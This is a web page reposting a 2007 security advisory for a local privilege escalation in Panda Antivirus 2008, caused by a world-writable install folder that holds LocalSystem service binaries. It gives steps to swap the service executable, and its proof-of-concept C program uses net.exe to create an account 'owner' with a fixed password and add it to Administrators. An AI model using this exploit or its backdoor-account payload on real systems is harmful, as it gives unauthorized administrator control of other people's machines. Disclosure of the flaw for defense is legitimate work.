首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Panda Antivirus 2008 Local Privilege Escalation Exploit
来源:https://tiifp.org/tarkus 作者:arkus 发布时间:2007-08-06  
/*
_________________________________________
Security Advisory
_________________________________________
_________________________________________

Severity: Medium
Title: Panda Antivirus 2008 Local Privileg Escalation
Date: 02.08.07
Author: tarkus (tarkus (at) tiifp (dot) org)
URL: https://tiifp.org/tarkus
Vendor: Panda (http://www.pandasoftware.com/)
Affected Products: Panda Antivirus 2008
Not Affected Products: - Panda Internetsecurity 2008
                        - Panda Antivirus + Firewall 2008

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Description:
------------

1.  During  installation  of  Panda Antivirus 2008 the permissions for
installation folder %ProgramFiles%\Panda Security\Panda Antivirus 2008\
by  default  are  set  to Everyone:Full Control. Few services
(e.g. PAVSRV51.EXE) are started from this folder. Services are started
under LocalSystem  account. There is no protection of service files. It's
possible for unprivileged user to replace service executable with the
file of his choice to get full access with LocalSystem privileges. Or to
get privileges or any user (including system administrator) who logons
to vulnerable host. This can be exploited by:

   a. Rename  PAVSRV51.exe to PAVSRV51.old in Panda folder
   b. Copy any application to PAVSRV51.exe
   c. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

BTW: Check this from last year (http://www.securityfocus.com/bid/19891)


POC:
----
*/

#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
CHAR szWinDir[ _MAX_PATH ];
CHAR szCmdLine[ _MAX_PATH ];

GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir );

system( szCmdLine );

printf( "Adding user \"owner\" to the local Administrators group...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir );

system( szCmdLine );

return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Envolution <= 1.1.0 (topic) Re
·CHILKAT ASP String (CkString.d
·Microsoft Visual 6 (VDT70.DLL
·Live for Speed S1/S2/Demo (.pl
·Live for Speed S1/S2/Demo (.sp
·paBugs <= 2.0 Beta 3 (main.php
·Cisco IOS Next Hop Resolution
·Live for Speed S1/S2/Demo (.mp
·PHP <= 5.2.3 snmpget() object
·Microsoft DXMedia SDK 6 (Sourc
·Savant 3.1 Get Request Remote
·MS Internet Explorer 6 DirectX
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved